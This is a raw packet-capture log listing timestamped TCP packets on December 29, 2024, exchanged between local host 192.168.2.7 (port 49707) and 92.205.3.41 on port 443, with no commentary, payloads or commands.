Dec 29, 2024 08:55:48.163650990 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:55:48.163693905 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:55:48.163763046 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:55:48.180464983 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:55:48.180480957 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:55:49.607564926 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:55:49.612128973 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:55:49.612190962 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:55:50.151351929 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:55:50.151376963 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:55:50.151448011 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:55:50.151468039 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:55:50.191648006 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:55:50.352317095 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:55:50.352329016 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:55:50.352399111 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:55:50.373264074 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:55:50.373344898 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:55:50.406812906 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:55:50.406883955 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:55:50.430279016 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:55:50.430346012 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:55:50.556107998 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:55:50.556174994 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:55:50.576340914 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:55:50.576402903 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:55:50.590976000 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:55:50.591070890 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:55:50.605799913 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:55:50.605861902 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:55:50.620729923 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:55:50.620807886 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:55:50.640228987 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:55:50.640296936 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:55:50.760659933 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:55:50.760756969 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:55:50.772288084 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:55:50.772351980 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:55:50.787061930 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:55:50.787130117 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:55:50.798377991 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:55:50.798444986 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:55:50.809458017 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:55:50.809537888 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:55:50.820569038 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:55:50.820646048 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:55:50.835402966 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:55:50.835465908 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:55:50.846580029 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:55:50.846652985 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:55:50.857898951 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:55:50.857960939 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:55:50.879998922 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:55:50.880068064 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:55:50.957595110 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:55:50.957686901 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:55:50.968967915 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:55:50.969033957 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:55:50.977183104 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:55:50.977253914 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:55:50.985143900 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:55:50.985213041 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:55:50.993005037 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:55:50.993068933 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:55:51.001955986 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:55:51.002024889 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:55:51.006198883 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:55:51.006270885 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:55:51.010494947 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:55:51.010562897 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:55:51.016103983 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:55:51.016160965 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:55:51.019800901 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:55:51.019871950 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:55:51.025258064 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:55:51.025330067 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:55:51.029603958 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:55:51.029680967 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:55:51.033926010 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:55:51.033994913 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:55:51.038089991 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:55:51.038150072 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:55:51.043672085 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:55:51.043735027 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:55:51.048031092 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:55:51.048098087 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:55:51.159091949 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:55:51.159271955 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:55:51.163677931 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:55:51.163764000 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:55:51.167114973 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:55:51.167206049 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:55:51.170691967 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:55:51.170770884 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:55:51.174866915 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:55:51.174937010 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:55:51.178102016 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:55:51.178175926 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:55:51.181468964 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:55:51.181539059 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:55:51.184734106 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:55:51.184803009 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:55:51.188994884 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:55:51.189179897 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:55:51.191833973 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:55:51.191910028 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:55:51.313465118 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:55:51.313561916 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:55:51.551548958 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:55:51.551558971 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:55:51.551604033 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:55:51.551640987 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:55:51.551657915 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:55:51.551676035 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:55:51.551681042 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:55:51.551714897 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:55:51.551722050 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:55:51.551748037 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:55:51.551769972 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:55:51.551873922 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:55:51.551923037 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:55:51.551930904 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:55:51.551934958 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:55:51.551990986 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:55:51.552727938 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:55:51.552791119 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:55:51.552891970 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:55:51.552949905 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:55:51.553675890 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:55:51.553723097 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:55:51.553733110 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:55:51.553736925 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:55:51.553771019 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:55:51.554558039 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:55:51.554630041 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:55:51.554734945 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:55:51.554785013 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:55:51.554792881 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:55:51.554796934 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:55:51.554833889 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:55:51.555675983 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:55:51.555711985 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:55:51.555735111 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:55:51.555740118 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:55:51.555748940 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:55:51.555777073 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:55:51.556473970 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:55:51.556531906 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:55:51.556757927 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:55:51.556819916 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:55:51.556822062 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:55:51.556828976 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:55:51.556876898 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:55:51.557661057 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:55:51.557710886 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:55:51.557776928 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:55:51.557827950 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:55:51.558706999 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:55:51.558768988 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:55:51.558793068 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:55:51.558840990 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:55:51.564361095 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:55:51.564420938 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:55:51.568012953 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:55:51.568087101 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:55:51.571296930 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:55:51.571372986 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:55:51.574717045 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:55:51.574786901 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:55:51.577945948 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:55:51.578022003 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:55:51.582202911 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:55:51.582309008 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:55:51.585480928 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:55:51.585585117 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:55:51.588865995 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:55:51.588944912 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:55:51.593122005 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:55:51.593194962 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:55:51.596371889 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:55:51.596462965 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:55:51.600199938 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:55:51.600286961 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:55:51.603461027 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:55:51.603523970 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:55:51.606892109 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:55:51.606961966 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:55:51.610131979 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:55:51.610194921 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:55:51.673191071 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:55:51.673265934 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:55:51.676167965 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:55:51.676234007 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:55:51.679547071 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:55:51.679608107 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:55:51.767199039 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:55:51.767290115 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:55:51.771469116 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:55:51.771555901 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:55:51.774861097 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:55:51.774924994 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:55:51.778100967 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:55:51.778168917 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:55:51.782385111 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:55:51.782458067 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:55:51.785679102 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:55:51.785744905 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:55:51.788997889 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:55:51.789062977 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:55:51.792301893 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:55:51.792363882 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:55:51.796550989 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:55:51.796617031 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:55:51.800632000 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:55:51.800702095 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:55:51.803692102 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:55:51.803778887 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:55:51.807053089 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:55:51.807118893 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:55:51.810334921 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:55:51.810399055 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:55:51.814726114 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:55:51.814791918 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:55:51.817852974 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:55:51.817961931 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:55:51.821216106 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:55:51.821289062 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:55:51.967150927 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:55:51.967257977 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:55:51.970792055 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:55:51.970863104 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:55:51.973562002 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:55:51.973633051 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:55:51.976505995 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:55:51.976584911 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:55:51.980030060 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:55:51.980101109 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:55:51.982839108 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:55:51.982903004 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:55:51.985671997 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:55:51.985740900 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:55:51.988487959 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:55:51.988548994 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:55:51.992403984 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:55:51.992490053 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:55:51.994826078 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:55:51.994894981 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:55:51.998166084 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:55:51.998234987 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:55:52.000981092 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:55:52.001044989 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:55:52.003731012 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:55:52.003791094 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:55:52.007358074 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:55:52.007424116 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:55:52.010103941 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:55:52.010173082 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:55:52.012949944 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:55:52.013014078 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:55:52.217355967 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:55:52.217437029 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:55:52.219886065 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:55:52.219963074 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:55:52.223453045 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:55:52.223534107 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:55:52.226317883 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:55:52.226396084 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:55:52.229021072 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:55:52.229100943 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:55:52.232676983 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:55:52.232753038 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:55:52.235487938 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:55:52.235562086 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:55:52.238337994 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:55:52.238411903 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:55:52.241091967 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:55:52.241317034 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:55:52.244719982 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:55:52.244793892 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:55:52.247215986 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:55:52.247287035 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:55:52.250709057 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:55:52.250780106 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:55:52.253626108 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:55:52.253694057 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:55:52.256376028 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:55:52.256447077 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:55:52.259999037 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:55:52.260077000 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:55:52.262799025 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:55:52.262866020 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:55:52.265597105 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:55:52.265666962 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:55:52.421081066 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:55:52.421180010 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:55:52.423727036 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:55:52.423804045 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:55:52.426561117 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:55:52.426635027 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:55:52.429371119 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:55:52.429450035 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:55:52.432971954 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:55:52.433064938 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:55:52.435776949 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:55:52.435853958 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:55:52.438659906 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:55:52.438730001 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:55:52.442244053 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:55:52.442307949 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:55:52.445012093 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:55:52.445111036 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:55:52.448318958 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:55:52.448390007 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:55:52.451020956 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:55:52.451108932 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:55:52.453893900 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:55:52.453965902 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:55:52.456661940 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:55:52.456741095 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:55:52.460280895 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:55:52.460383892 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:55:52.463021040 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:55:52.463095903 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:55:52.465925932 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:55:52.466001987 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:55:52.494402885 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:55:52.494621992 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:55:52.620964050 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:55:52.621069908 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:55:52.623812914 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:55:52.623891115 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:55:52.626599073 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:55:52.626672983 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:55:52.630182981 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:55:52.630253077 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:55:52.633073092 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:55:52.633147001 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:55:52.635961056 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:55:52.636029005 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:55:52.639450073 CET	443	49707	92.205.3.41	192.168.2.7
